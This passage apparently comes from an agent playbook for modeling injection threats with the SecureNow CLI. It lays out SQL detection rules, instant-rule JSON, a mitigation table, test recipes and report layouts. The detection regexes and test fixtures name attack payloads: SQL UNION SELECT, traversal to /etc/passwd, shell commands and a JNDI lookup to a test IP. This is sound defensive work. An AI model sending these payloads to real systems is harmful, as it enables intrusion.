`http.request.body` / `http.request.headers` / `http.user_agent` only where `telemetry fields`
(Phase 0) shows them.
**Traces-based — payload-pattern match (L50; the core rule of this model): one rule, one counter
per payload family, on the captured request fields.** This is the full ready-to-copy unit (SQL →
save → validate → create → dry-run → instant payload):
```sql
-- rules/injection-payload-patterns.sql
WITH
coalesce(nullIf(attributes_string['http.client_ip'], ''), nullIf(attributes_string['net.peer.ip'], ''), nullIf(attributes_string['network.peer.address'], '')) AS client_ip,
concat(decodeURLComponent(attributes_string['http.target']), ' ', decodeURLComponent(attributes_string['http.request.body'])) AS payload,
concat(attributes_string['http.request.headers'], ' ', attributes_string['http.user_agent']) AS hdrs
SELECT
client_ip AS ip,
countIf(match(payload, '(?i)\\bunion\\W+(all\\W+)?select\\b|\\b(sleep|pg_sleep|benchmark)\\s*\\(\\s*\\d|\\bwaitfor\\W+delay\\b|\\bor\\W+1\\W*=\\W*1\\b|information_schema\\.')) AS sqli,
countIf(match(payload, '(?i)<script\\b|<(img|svg|iframe|body)\\b[^>]*\\bon[a-z]+\\s*=|javascript:\\s*(alert|prompt|confirm|eval)\\s*\\(')) AS xss,
countIf(match(payload, '(?i)(;|\\||&&|\\$\\()\\s*(whoami|uname|ifconfig|cat\\s+/etc/passwd)\\b|/bin/(ba)?sh\\b')) AS cmd_injection,
countIf(match(payload, '(?i)(\\.\\.[/\\\\]){2,}|/etc/(passwd|shadow)\\b|\\b(win|boot)\\.ini\\b')) AS path_traversal,
countIf(match(payload, '(?i)\\{\\{\\s*\\d+\\s*\\*\\s*\\d+\\s*\\}\\}|\\$\\{\\s*\\d+\\s*\\*\\s*\\d+\\s*\\}|__(class|globals|mro|subclasses)__|\\$\\{jndi:')) AS ssti,
countIf(match(payload, '\\[\\$(ne|gt|gte|lt|lte|in|nin|regex|where|expr)\\]|"\\$(ne|gt|gte|lt|lte|in|nin|regex|where|expr|function)"\\s*:')) AS nosql_operator,
countIf(match(hdrs, '(?i)\\$\\{jndi:|\\(\\)\\s*\\{\\s*:\\s*;\\s*\\}')) AS header_exploit,
count() AS requests
FROM signoz_traces.distributed_signoz_index_v3
WHERE `resource_string_service$$name` IN (__USER_APP_KEYS__)
AND timestamp >= now64(9) - INTERVAL 10 MINUTE
AND ts_bucket_start >= toUInt64(toUnixTimestamp(now() - INTERVAL 10 MINUTE)) - 1800
AND kind = 2
GROUP BY ip
HAVING ip != '' AND (sqli + xss + cmd_injection + path_traversal + ssti + nosql_operator + header_exploit) >= 1
```
Keep only the families and fields that apply to this stack: drop `nosql_operator` without a
document store; drop the body half of `payload` when `http.request.body` is not captured; on the
Next.js integration `http.request.headers` holds only the client-IP headers, so `hdrs` effectively
checks `http.user_agent`. `http.target` and the body are URL-decoded **once**, so double-encoded
payloads slip this SQL (instant conditions decode up to three times). The regexes are RE2 inside
ClickHouse single-quoted string literals — **double every backslash** (`'\\b'`, never `'\b'`, which
ClickHouse reads as a backspace character). Every regex here is a conservative starting point to
tune in test mode, not a finished signature set.
```bash
securenow alerts rules validate <ANY_EXISTING_RULE_ID> --sql @rules/injection-payload-patterns.sql --app <APP_KEY> --json
```
(`validate` needs any existing rule to host the dry-run. On an account with no rules yet, skip it —
`create` dry-runs the SQL itself and deletes the rule if it fails.)
```bash
securenow alerts rules create \
--name "Injection: payload patterns in request (SQLi/XSS/cmd/traversal/SSTI/NoSQL)" \
--sql @rules/injection-payload-patterns.sql \
--apps <APP_KEY> \
--severity high \
--schedule "*/5 * * * *" \
--nlp "any client IP whose request path/query, body or headers match an injection payload pattern in the last 10 minutes"
```
```bash
securenow alerts rules test <RULE_ID> --mode dry_run --wait --app <APP_KEY> # expect status: complete
```
**Instant conditions for the high-precision patterns (attach after create).** The CLI cannot set
`--execution-mode instant|hybrid` (the server rejects it); instant detection is configured only
through MCP `securenow_alert_rule_instant_update` (or the dashboard), and it evaluates each **HTTP
span** as it is ingested — never `track()` events, so the events-based rules below stay
scheduled. Fetch the rule with `securenow_alert_rule_get` first (it returns the `reviewVersion` and
`instantHash` the update requires), then send the payload with `"dryRun": true` — nothing is saved,
and the response's `beforeAfterTest` must show `passed: true`, `summary.requiredAttackMissing: 0`
and `summary.newBenignMatches: 0`. Re-send without `dryRun` to save. Only the SQLi / traversal /
SSTI / JNDI patterns below are precise enough for instant; keep the XSS, command-injection and
NoSQL patterns scheduled-only until the test-mode window shows them clean on this app. Add
fixtures shaped like this app's real routes and bodies:
```json
{
"id": "<RULE_ID>",
"reason": "Instant detection for high-precision injection payload patterns",
"expectedRuleVersion": <reviewVersion from securenow_alert_rule_get>,
"expectedCurrentInstantHash": "<instantHash from securenow_alert_rule_get>",
"executionMode": "hybrid",
"enabled": true,
"source": "trace",
"matchMode": "any",
"conditions": [
{ "field": "path", "operator": "regex", "value": "\\bunion\\W{1,20}(all\\W{1,20})?select\\b|\\b(pg_sleep|benchmark)\\s*\\(" },
{ "field": "path", "operator": "regex", "value": "(\\.\\./){2,}(etc/(passwd|shadow)|windows/win\\.ini)" },
{ "field": "request_body", "operator": "regex", "value": "\\{\\{\\s*\\d+\\s*\\*\\s*\\d+\\s*\\}\\}|\\$\\{jndi:" },
{ "field": "request_headers", "operator": "contains", "value": "${jndi:" },
{ "field": "user_agent", "operator": "contains", "value": "${jndi:" }
],
"dryRun": true,
"fixtures": [
{ "kind": "attack", "label": "UNION SELECT in query", "path": "/api/search?q=1%20UNION%20SELECT%20password%20FROM%20users", "expectMatch": true },
{ "kind": "attack", "label": "Traversal to /etc/passwd", "path": "/api/file?name=..%2F..%2F..%2Fetc%2Fpasswd", "expectMatch": true },
{ "kind": "attack", "label": "SSTI probe in JSON body", "method": "POST", "path": "/api/render", "requestBody": "{\"tpl\":\"{{7*7}}\"}", "expectMatch": true },
{ "kind": "attack", "label": "JNDI lookup in User-Agent", "path": "/", "userAgent": "${jndi:ldap://203.0.113.9/a}", "expectMatch": true },
{ "kind": "benign", "label": "Search containing union/select words", "path": "/api/search?q=union%20station%20selection" },
{ "kind": "benign", "label": "Template placeholder in body", "method": "POST", "path": "/api/email-templates", "requestBody": "{\"subject\":\"Hi {{firstName}}\"}" }
]
}
```
Instant `regex` values are JavaScript, case-insensitive, and run against lower-cased,
percent-decoded (up to 3×), comment-stripped variants of the field; in JSON every backslash is
doubled too (`"\\b"`). A pattern longer than 256 characters, or one using back-references,
look-arounds or a quantified group that itself contains `*`/`+` (e.g. `(a+)+`), is treated as
unsafe and **never matches** — the `expectMatch: true` fixtures catch this.
**After promotion only:** once the rule has run clean in test mode and a person has promoted it
(`securenow alerts rules promote <RULE_ID>`), re-fetch it and send the same update (no `dryRun`)
with `"block": true, "blockTtlHours": 24` (≤ 168). `block` is skipped while the rule is in test
mode. From then on the source IP is blocked seconds after a matching span is ingested — the matching
request itself has already been served; the block stops the follow-up requests.
**Traffic-based — injection-fuzzing burst (L51): one IP, many distinct paths + client errors
(payload variants being sprayed across endpoints):**
```sql
WITH coalesce(nullIf(attributes_string['http.client_ip'], ''), nullIf(attributes_string['net.peer.ip'], ''), nullIf(attributes_string['network.peer.address'], '')) AS client_ip
SELECT client_ip AS ip,
uniqExact(attributes_string['http.target']) AS distinct_paths,
countIf(response_status_code IN ('400','403','422','500')) AS suspicious_responses,
count() AS total
FROM signoz_traces.distributed_signoz_index_v3
WHERE `resource_string_service$$name` IN (__USER_APP_KEYS__)
AND timestamp >= now64(9) - INTERVAL 10 MINUTE
AND ts_bucket_start >= toUInt64(toUnixTimestamp(now() - INTERVAL 10 MINUTE)) - 1800
AND kind = 2
GROUP BY ip
HAVING ip != '' AND distinct_paths >= 25 AND suspicious_responses >= 40
```
**Traffic-based — time-based-blind / expensive-payload probing (L52): one IP driving 5xx or
error spikes on a small set of endpoints (the app choking on `SLEEP()`-style or malformed
payloads):**
```sql
WITH coalesce(nullIf(attributes_string['http.client_ip'], ''), nullIf(attributes_string['net.peer.ip'], ''), nullIf(attributes_string['network.peer.address'], '')) AS client_ip
SELECT client_ip AS ip,
countIf(response_status_code LIKE '5%') AS server_errors,
uniqExact(attributes_string['http.target']) AS paths,
count() AS total
FROM signoz_traces.distributed_signoz_index_v3
WHERE `resource_string_service$$name` IN (__USER_APP_KEYS__)
AND timestamp >= now64(9) - INTERVAL 10 MINUTE
AND ts_bucket_start >= toUInt64(toUnixTimestamp(now() - INTERVAL 10 MINUTE)) - 1800
AND kind = 2
GROUP BY ip
HAVING ip != '' AND server_errors >= 30 AND paths <= 5
```
**Events-based — app-rejected injection attempts (L53): your validator/safe-sink fired
`injection.*` (query the logs table). Any sustained burst from one IP is a real attacker who is
being stopped at the app boundary — block them at the edge so they stop spending your CPU:**
```sql
SELECT
attributes_string['http.client_ip'] AS ip,
attributes_string['event.type'] AS signal,
attributes_string['sink'] AS sink,
attributes_string['route'] AS route,
count() AS attempts
FROM signoz_logs.distributed_logs_v2
WHERE resources_string['service.name'] IN (__USER_APP_KEYS__)
AND attributes_string['event.type'] IN ('injection.attempt.blocked','injection.nosql.operator','injection.path.traversal','injection.template.blocked','injection.deser.blocked','injection.xxe.blocked')
AND timestamp >= toUnixTimestamp64Nano(now64() - INTERVAL 15 MINUTE)
GROUP BY ip, signal, sink, route
HAVING ip != '' AND attempts >= 5
```
**Events-based — second-order / high-signal single-hit (L54 + SSTI/deser/XXE): these are
pre-RCE or blind-spot signals — alert on a single occurrence (notify, then contain):**
```sql
SELECT
attributes_string['http.client_ip'] AS ip,
attributes_string['event.type'] AS signal,
attributes_string['route'] AS route,
count() AS hits
FROM signoz_logs.distributed_logs_v2
WHERE resources_string['service.name'] IN (__USER_APP_KEYS__)
AND attributes_string['event.type'] IN ('injection.secondorder.detected','injection.template.blocked','injection.deser.blocked','injection.xxe.blocked')
AND timestamp >= toUnixTimestamp64Nano(now64() - INTERVAL 30 MINUTE)
GROUP BY ip, signal, route
HAVING ip != '' AND hits >= 1
```
Useful attributes/columns: `event.type`, `http.client_ip`, `http.target`,
`response_status_code`, `kind`, `client.asn`, `client.as_org`, and your injection attributes
(`sink`, `reason`, `route`, `field`, `operator`, `engine`, `format`, `source`).
Create + validate each rule as a **ready-to-copy unit** — save the SQL to `rules/<name>.sql`
(give every block a `-- rules/<name>.sql` header), validate it, then create, then dry-run test.
Each block is separately copyable:
```sql
-- rules/injection-app-rejected.sql
SELECT
attributes_string['http.client_ip'] AS ip,
attributes_string['event.type'] AS signal,
attributes_string['sink'] AS sink,
attributes_string['route'] AS route,
count() AS attempts
FROM signoz_logs.distributed_logs_v2
WHERE resources_string['service.name'] IN (__USER_APP_KEYS__)
AND attributes_string['event.type'] IN ('injection.attempt.blocked','injection.nosql.operator','injection.path.traversal','injection.template.blocked','injection.deser.blocked','injection.xxe.blocked')
AND timestamp >= toUnixTimestamp64Nano(now64() - INTERVAL 15 MINUTE)
GROUP BY ip, signal, sink, route
HAVING ip != '' AND attempts >= 5
```
```bash
securenow alerts rules validate <ANY_EXISTING_RULE_ID> --sql @rules/injection-app-rejected.sql --app <APP_KEY> --json
securenow alerts rules create \
--name "Injection: app-rejected attempts (single IP)" \
--sql @rules/injection-app-rejected.sql \
--apps <APP_KEY> \
--severity high \
--schedule "*/5 * * * *" \
--nlp "single IP triggering 5+ injection.* rejections in 15 minutes"
securenow alerts rules test <RULE_ID> --mode dry_run --wait --app <APP_KEY> # validate before it runs live
```
#### Test mode for false-positive-prone rules
Alert rules have a lifecycle **mode**: `test` = **detect-only, NO mitigation** vs `prod` = full
(mitigation / auto-action armed) — plus a **status** (`Active | Disabled | Paused`). Manage with:
```bash
# `alerts rules create` always creates the rule Active in test mode (detect-only: fires notifications,
# takes NO action; create has no --mode flag)
# …observe real traffic for several days; tune the threshold/regex; add securenow fp exclusions for any FPs…
securenow alerts rules promote <RULE_ID> # promote: arm the mitigation / auto-action (= update <RULE_ID> --mode prod)
securenow alerts rules update <RULE_ID> --mode test # back to detect-only if it turns noisy
securenow alerts rules update <RULE_ID> --status Paused # or --enable / --disable / --pause shortcuts
```
**Rule of thumb:** any detection that can **false-positive** — heuristic thresholds (fuzzing-burst /
blind-probing counts, distinct-path / 5xx spikes), broad patterns, anomaly / volume rules, anything
tuned to YOUR traffic — must stay in **test mode first**. Run it detect-only for **3–7 days of
real traffic**, review what it flags, raise/lower the threshold and add `securenow fp` exclusions
for legitimate hits, then promote it to arm mitigation. Only **high-precision** rules
(exact-match IoCs, known-bad ASN hits) may be promoted right after their dry-run. **Tag every rule
`test-first` or `prod-ready`** and say why — note that the **custom payload-pattern rule (catalog
C / L50) is `test-first`**: its regexes are yours and must be tuned on this app's traffic before a
person promotes it and its instant `block` is armed. The custom traffic-threshold rules (fuzzing
burst L51, blind probing L52, app-rejected bursts L53) are typically `test-first` too.
(`securenow alerts rules test <id> --mode dry_run --wait --app <APP_KEY>` is the separate one-off
*query* validation — run it before either.)
### 4c. The full SecureNow mitigation toolbox (select per threat)
For injection, the **app fix closes the sink** and the SecureNow control **contains the actor at
the edge** once a matching payload is seen. On **every** injection row, pair the pattern-rule/edge
control with the app fix — the pattern rule contains the actor sending a payload that matches it;
only parameterized/safe-API code stops the novel, encoded, blind, or second-order payload.
Once a threat is confirmed, **choose the narrowest effective mitigation(s) from ALL of these** and
combine them (e.g. rate-limit `/api/search` + block the worst fuzzing IPs + challenge a NAT
egress). **For injection's payload classes the strongest edge play is the custom payload-pattern
rule with instant conditions (row 2)** — build it first; arm its `block` only after promotion.
Re-check every command/flag against the installed SDK
in Phase 0.5 (`securenow <cmd> --help`); annotate `# requires securenow >= <ver>` if absent. Scope
by **app / env / route / method / IP / duration** to avoid hitting real users.
| # | Mitigation | Command (ready-to-copy) | Use / scope |
|---|---|---|---|
| 1 | **Firewall (network)** | `securenow firewall enable --app <APP_KEY> --env production` · `securenow run --firewall-only` · test `securenow firewall test-ip <ip> --path /x --method GET` | known-bad IP feed refreshed hourly (legitimate crawlers stay allowed); drop injection scanners before the app. No app change. |
| 2 | **Instant detection + block (single-request signatures)** | create a custom **traces** rule with the CLI (it starts in test mode), then attach instant conditions via MCP `securenow_alert_rule_instant_update` or the dashboard (`source: trace`; conditions on `path`/`method`/`request_headers`/`request_body`/`host`/`client_ip`/`user_agent`/`status_code`; `block: true` + `blockTtlHours` ≤ 168 once promoted). The CLI cannot set `--execution-mode instant`. | blocks the source IP seconds after a matching request is ingested (payload injection — catalog C / L50). **This is the primary edge control for this model.** SecureNow ships no pre-built signature rules — write the pattern as a custom rule (payload injection depth: `../06-injection/`). |
| 3 | **IP block — global** | `securenow blocklist add <ip> --app <APP_KEY> --env production --reason "..."` | confirmed-malicious injection source, all routes. |
| 4 | **IP block — scoped to route (+ method)** | `securenow blocklist add <ip> --route /api/search* --mode prefix --method ALL --app <APP_KEY> --env production --reason "..."` (`--mode exact\|prefix\|regex`, `--method GET\|POST\|…\|ALL`) | block an IP only on the injection-targeted paths; least collateral. |
| 5 | **IP block — temporary / time-boxed** | `securenow blocklist add <ip> --duration 24h --reason "..."` (`30m`,`24h`,`7d`) · reverse `securenow blocklist unblock <id> --reason "..."` | auto-expiring containment; audit-preserving unblock. |
| 6 | **Rate limit — per IP** | `securenow ratelimit add <ip> --limit 100 --window 1m --duration 24h --reason "..."` | throttle one fuzzing client across the app. |
| 7 | **Rate limit — per route (all clients, per-IP budget)** | `securenow ratelimit add --route /api/search --mode prefix --method GET --limit 60 --window 1m --key-by ip` | cap an injection-targeted endpoint for everyone, budgeted per IP. |
| 8 | **Rate limit — per route + IP** | `securenow ratelimit add <ip> --route /api/search --mode exact --method GET --limit 5 --window 1m --duration 24h` · NL `securenow ratelimit from-text "rate limit /api/search to 5/min for 24h" --yes` · test `securenow ratelimit test <ip> --path /api/search --method GET` | precise throttle of one fuzzing client on one route. |
| 9 | **CAPTCHA / proof-of-work challenge** | `securenow challenge add --route /api/search --difficulty 16 --clearance 30m` (route-wide) **or** `securenow challenge add <ip> --route /api/search --difficulty 18 --clearance 30m` · test `securenow challenge test <ip> --path /api/search --method GET` | automated fuzzers from **shared / NAT / CGNAT** egress — a human passes once, a script can't keep spraying payloads. Prefer over a hard block when real users share the IP. |
| 10 | **Auto-block (risk-scored)** | `securenow automation defaults --yes` (≥95→7d, 90–94→72h, 85–89→24h) · custom `securenow automation create --conditions '[...]' --actions '[...]'` · preview `securenow automation dry-run <id>` | hands-off blocking by risk score; acts only on prod-mode (promoted) rules. Actions include block / rate_limit / requireCaptcha. |
| 11 | **Session revocation** | `securenow revoke …` (SDK `securenow/sessions` `guard()` / `isRevoked()`) | if an injection led to a hijacked/forged session — kill the session, not the IP. |
| 12 | **Trusted IP (suppress)** | `securenow trusted add <ip> --label "Internal SAST/DAST scanner / monitor"` | stop false positives from your own pentest/scanner infra — suppresses detection **and** mitigation. NOT deny-by-default. |
| 13 | **Allowlist (deny-by-default)** | `securenow allowlist add <ip> --label "..." --reason "..."` ⚠️ once any entry exists, ONLY listed IPs reach the app | lockdown of an internal/admin-only surface. Never for a public app. |
| 14 | **False-positive exclusion** | one rule: `securenow alerts rules exclusions <RULE_ID> add --conditions '[{"field":"path","operator":"starts_with","value":"/health"}]' --reason "..."` · from a notification: `securenow fp mark <notification-id> <ip> --rule-scope this_rule` · account-wide: `securenow fp create --conditions '[...]' --rule-scope any_rule --reason "..."` (preview `securenow fp dry-run --conditions '[...]'`; condition fields `path`/`method`/`user_agent`/`status_code`/`request_body`/`request_headers`) | keep a noisy fuzzing/5xx rule quiet without weakening the signatures. |
| 15 | **App / config / code fix (PRIMARY — closes the sink)** | *described in the Code-Findings report, never auto-applied* | the real fix: **parameterized queries**, **allow-list dynamic identifiers**, **`execFile`/arg-array (no shell)**, remove `eval`/dynamic-require, **safe deserialization**, never compile input as a template, **`realpath`+base-dir assertion** for paths, **disable XML external entities**, strip CRLF from headers/logs, replace ORM raw fragments with bound params. SecureNow contains; the fix removes. |
**Choosing per threat** — by **confidence**: high-precision payload pattern (promoted custom
rule) / exact IoC → **instant detection + block (row 2)** or block; probable fuzzer on shared egress → **challenge**; noisy/
legit-mixed traffic (fuzzing-burst / blind-probing thresholds) → **rate-limit (test-mode first)**;
session compromise from an injection → **revoke**; your own scanner noise → **trusted / fp**. By
**blast radius**: always scope to the narrowest `route`/`method`/`IP`/`duration` that stops the
abuse; on NAT/CGNAT/shared IPs prefer challenge/rate-limit over a hard block. For the high-signal
pre-RCE events (SSTI/deser/XXE/second-order) recommend **notify + immediate human review**, then
block. Always pair an edge mitigation with the **app/config fix** (Code-Findings report) when
SecureNow can only contain the actor — a row that has only the pattern rule and no parameterization
plan is incomplete.
For every 🔴 gap, give the **interim app/config fix** (e.g. "disable `$where` at the DB; cast all
NoSQL filter values to scalars in a shared middleware") and add:
*"Requires SecureNow team — contact your SecureNow account contact (or in-dashboard support) to
request support for this threat."*
### 4d. Testing every detection and mitigation
Only test against apps/environments the user owns; prefer `--env local`/staging. For synthetic
source IPs use TEST-NET ranges (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`).
```bash
# Synthetic app-rejected injection events — exercise the events-based rule end to end:
for i in $(seq 1 6); do
securenow event send injection.attempt.blocked --ip 203.0.113.60 \
--attrs sink=sql,route=/api/search,reason=metachar,test=true
done
# Synthetic NoSQL operator injection + path traversal + high-signal SSTI:
securenow event send injection.nosql.operator --ip 203.0.113.60 \
--attrs route=/api/login,field=username,operator='$ne',test=true
securenow event send injection.path.traversal --ip 203.0.113.61 \
--attrs route=/api/file,reason=escapes_base,test=true
securenow event send injection.template.blocked --ip 203.0.113.61 \
--attrs route=/api/render,engine=ejs,reason=input_as_template,test=true
securenow event send injection.secondorder.detected --ip 203.0.113.62 \
--attrs sink=sql,source=db,route=/api/report,test=true
# Validate a rule query without waiting for the schedule:
securenow alerts rules test <RULE_ID> --mode dry_run --wait --app <APP_KEY>
# Traffic-based rules (fuzzing burst / blind-probing) — generate spans, then check pipeline:
securenow test-span "threat-model.injection.smoke"
securenow forensics "requests and 4xx/5xx by IP in the last hour" --env production
# PAYLOAD-PATTERN rule + instant conditions (the core of this model). Traces rules cannot be fed by
# `event send`:
# scheduled SQL -> the dry-run above (expect status: complete)
# instant -> MCP securenow_alert_rule_instant_update with "dryRun": true and the §4b
# attack + benign fixtures; expect beforeAfterTest.passed = true,
# summary.requiredAttackMissing = 0 and summary.newBenignMatches = 0
# Optional end-to-end on a STAGING deployment you own: send one request carrying a benign-but-
# matching marker (e.g. ?q=1%20UNION%20SELECT%20null or ?name=../../../etc/passwd). That request
# is served normally; the rule notifies once its span is ingested (instant) or at the next scheduled
# run. The source is YOUR IP — if the rule is promoted with block armed, your IP is blocked seconds
# after ingest, so unblock it in the clean-up step below.
# Mitigation verification:
securenow firewall test-ip 203.0.113.60 --app <APP_KEY> --env production
securenow ratelimit test 203.0.113.60 --path /api/search --method GET
securenow challenge test 203.0.113.60 --path /api/search --method GET
# Confirm + clean up:
securenow notifications list --limit 10
securenow blocklist list # then: securenow blocklist unblock <id> --reason "threat-model test"
securenow challenge list # then: securenow challenge remove <id>
```
Every 🟢/🟡 threat row in the report must have a concrete test recipe (commands + expected
outcome: which rule fires, which notification appears, what the mitigation does). For catalog C /
L50 the recipe is the payload-pattern rule's **dry-run** plus its instant **`dryRun` fixtures**
(`expectMatch`) above.
---
## Phase 5 — Write the FOUR reports (two tracks)
Write **four** files into `threat/06-injection/` — two per track, each MD + HTML. The two tracks
**cross-link**: detection-report gap/instrumentation rows link to the matching code finding, and
each code finding links back to the detection row it backs. SecureNow-runnable detections and
mitigations live in **Track 1**; code/config changes live in **Track 2** — nothing
security-relevant is dropped, and nothing is duplicated across the two.
### 5a. Track 1 — Detection & Mitigation report (`injection-detection-mitigation.md` + `.html`)
The **operational runbook**: what to run in SecureNow. Sections, in order:
1. **Executive summary** — stats line (N threats modeled · N covered · N partial · N gaps ·
N rules to create · N mitigations), top 3 detectable injection risks for this stack, the
installed `securenow` version + app key + firewall state, and — critically — **whether a custom
payload-pattern rule exists for this app** (none ship by default) and its mode / instant
conditions / `block` state, since building it is the single biggest lever.
2. **SDK & environment** — installed SDK version (from `node_modules/securenow`, Phase 0.5),
app key(s), environment, firewall state, the existing rules / automations / challenge rules
(from Phase 0), **any custom payload/injection rules already created** (mode, instant
conditions, `block` state — none exist by default), and which request fields `telemetry fields`
shows (`http.target` / `http.request.body` / `http.request.headers` / `http.user_agent`).
3. **Threat → Detection → Mitigation matrix** — one row per modeled threat:
`# | Threat | A03/CWE | Coverage 🟢/🟡/🔴 | Detection (rule name / "—") | Signal (threshold + window, or "pattern match — instant on ingest") | Schedule | Mode (test-first / prod-ready) | Sev | Mitigation (edge + app fix)`.
Severity ∈ {critical, high, medium, low}. Each row's **Mitigation cell must pick specific,
scoped mitigation(s) from the §4c toolbox** (by number/name, scoped to route/method/IP/duration)
paired with the app fix — **never a generic "block the IP."** Each rule also carries a
**`test-first` or `prod-ready`** tag (the custom payload-pattern rule and the traffic-threshold
rules are `test-first`; exact IoCs may be `prod-ready`). Include the deferred
rows (55–58) pointing to the sibling models. Follow with the "Out of scope" N/A list and the
"Deferred to sibling models" subsection. Rows whose remediation is an app/config fix **link to
the matching code finding** in the Track-2 report.
4. **Detection rules to create** — first, the **custom payload-pattern rule** (catalog C / L50)
as the **ready-to-copy command unit** from Phase 4 (SQL → save to `rules/<name>.sql` →
`alerts rules validate` → full `securenow alerts rules create …` → `… rules test … --mode
dry_run --wait --app <APP_KEY>`) **plus** its MCP `securenow_alert_rule_instant_update` payload
(conditions for the high-precision patterns, `dryRun: true` fixtures, and the post-promotion
`block`/`blockTtlHours`); if Phase 0 found a custom payload rule already, extend it instead of
duplicating it. Then, for each other *new* custom rule (fuzzing burst, blind probing,
app-rejected events, second-order), the same ready-to-copy unit. **Mark each rule `test-first`
or `prod-ready`**; for every `test-first` rule include the test mode → observe (3–7 days) →
tune/`fp` → `securenow alerts rules promote <RULE_ID>` step (per §4b).
5. **Instrumentation the detections need** — only the `injection.*` `track('…')` events the rules
above consume, each as a copyable snippet; point to the Track-2 code-findings report for
*where* (file:line) to add them.
6. **Mitigation mechanisms** — render the **full §4c toolbox table** (all 15 rows: firewall ·
**instant detection + block** · block [global / route+method / temporary] · rate-limit
[IP / route / IP+route] · challenge · auto-block · session revocation · trusted · allowlist · fp ·
**app-config fix**) + the "Choosing per threat" guidance + a per-threat ready-to-copy mitigation
command + reversibility. Make explicit that the **app fix is primary** (it closes the sink) and
the pattern-rule/edge control is **containment** of the actor sending the matching payload.
7. **Action plan (copy-paste, ordered)** — ① engage the firewall + **create the custom
payload-pattern rule and attach its instant conditions via MCP** (highest leverage; it starts
in test mode, so it notifies but does not block yet), ② add the `injection.*` instrumentation at
the sinks a request pattern can't see, ③ create the other custom rules — **every rule is created
in test mode** (detect-only; `create` has no `--mode` flag) with an explicit **"promote after N
days (3–7) of clean observation"** step (`securenow alerts rules promote <RULE_ID>`, then — for
the payload-pattern rule — re-send its instant update with `block: true` + `blockTtlHours`);
only `prod-ready` rules are promoted right after their dry-run,
④ enable automations / challenge rules, ⑤ test (instant `dryRun` fixtures + rule dry-runs),
⑥ verify in dashboard, ⑦ schedule the **app-fix work** from the Track-2 report (parameterize,
allow-list, safe APIs). Real commands only, `<APP_KEY>` already substituted.
8. **Testing & validation** — per-threat test recipes (4d): `securenow event send …` /
`test-span` / dry-run + expected outcome + cleanup (TEST-NET IPs 192.0.2 / 198.51.100 /
203.0.113). Catalog C / L50 = the payload-pattern rule's dry-run + its instant **`dryRun`
fixtures** (`expectMatch`).
9. **Response runbooks** — for each notification type (payload-pattern match / instant block, fuzzing burst,
blind probing, app-rejected events, second-order/SSTI/deser/XXE): what fired, how to confirm a
true positive, the exact command to respond (copy), the exact command to reverse (copy), **and**
a link to the Track-2 app-fix to schedule so the sink is closed (not just the IP contained).
10. **Known gaps & SecureNow feature requests** — every 🔴 threat: why it's not coverable today,
the interim fix (link to the Track-2 code finding), and the "contact the SecureNow team" line.
11. **Appendix** — resolved SDK/CLI version (Phase 0.5), app key, environment, firewall state,
payload-pattern rule ID + instant conditions / `block` state, custom rule IDs created, date, link to the Track-2
code-findings report.
### 5b. Track 2 — Code Findings & Recommendations report (`injection-code-findings.md` + `.html`)
The **code audit**: issues in the codebase + recommendations. State at the top:
*"Findings only — no application code was modified."* Sections, in order:
1. **Executive summary** — findings by severity (critical / high / medium / low), top 3 code
risks for this stack, a one-paragraph posture verdict, and a one-line **A03:2021 + CWE**
coverage note.
2. **Injection surface & sink inventory** — the Phase 1 sink table
(`Sink | File:line | Interpreter | Input source | Parameterized? | 2nd-order? | Risk`), the
input-source → sink flow map, the normalization/filter posture, redaction status, and the
attack-surface paragraph.
3. **Threat catalog** — the exhaustive Phase 2 catalog (A1–L54 grouped, each tagged
**A03:2021 + specific CWE**, modeled or explicit N/A), plus the deferred items 55–58 referenced
to the sibling models (not re-derived).
4. **Code-level findings (audit — not applied)** — the Phase 3 findings: a table
`# | Location (file:line) | Threat | CWE | Sev | Sink | Recommended app fix`, each with the
quoted 1–8 line snippet, a sample payload, and the described fix (never applied). Each finding
**links to the Track-1 detection row** it backs.
5. **Strengths** — sinks already safe (parameterized, `execFile` with an arg array, allow-listed
paths, XML external entities disabled, CRLF-stripped headers/logs) — the posture must be honest.
6. **App / config fixes (primary remediation)** — the config/code changes that remove the root
cause (described, not applied): parameterized queries, allow-list dynamic identifiers,
`execFile`/arg-array (no shell), remove `eval`/dynamic-require, safe deserialization, never
compile input as a template, `realpath`+base-dir assertion for paths, disable XML external
entities, strip CRLF from headers/logs, replace ORM raw fragments with bound params — each
**linked to the Track-1 detection/mitigation row** it backs.
7. **Instrumentation recommendations** — the `injection.*` `track('…')` calls to add and the exact
`file:line` to add them (at the rejection / safe-gate point), so the Track-1 detection rules
light up.
8. **Appendix** — files reviewed, resolved SDK version (Phase 0.5), date, link to the Track-1
detection-mitigation report.
### 5c. HTML reports — two self-contained skeletons (offline; inline CSS + copy JS; no network)
Both HTML files share the `<head>` below (brand tokens + copy-button styles) and the copy
`<script>` at the end of `<body>`. **Change only the `<title>`, the sidebar subtitle, and the
section content** — one body per track (Track 1 = the 5a sections, Track 2 = the 5b sections).
**Wrap EVERY command/SQL block as a `.cmd`** so it gets a Copy button (the Code-Findings HTML may
omit copy buttons on prose, but still wraps any example/fix command in `.cmd`).
**Shared `<head>` + copy CSS + copy `<script>` (identical in both files):**
```html
<!DOCTYPE html>
<html lang="en"><head>
<meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" />
<title><!-- "Detection & Mitigation — Injection — SecureNow" OR "Code Findings — Injection — SecureNow" --></title>
<style>
:root{--bg:#0f1419;--panel:#161c24;--panel2:#1b2330;--border:#26303d;--txt:#dbe3ec;--muted:#8b97a7;
--accent:#3ea6ff;--accent2:#16c79a;--crit:#ff5c6c;--high:#ff9f43;--med:#f7c948;--low:#8b97a7;
--ok:#16c79a;--info:#3ea6ff;--rev:#b388ff;}
*{box-sizing:border-box}html{scroll-behavior:smooth}
body{margin:0;background:var(--bg);color:var(--txt);font:15px/1.6 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif}
a{color:var(--accent);text-decoration:none}
code{background:#0b0f14;border:1px solid var(--border);border-radius:5px;padding:.08em .4em;font:13px/1.4 ui-monospace,"SF Mono",Menlo,Consolas,monospace;color:#9fe0c0}
.wrap{display:grid;grid-template-columns:240px 1fr;max-width:1280px;margin:0 auto}
nav{position:sticky;top:0;align-self:start;height:100vh;overflow:auto;padding:28px 18px;border-right:1px solid var(--border);background:var(--panel)}
nav .brand{font-weight:700;font-size:15px;letter-spacing:.3px}nav .brand span{color:var(--accent)}
nav .sub{color:var(--muted);font-size:12px;margin-bottom:22px}
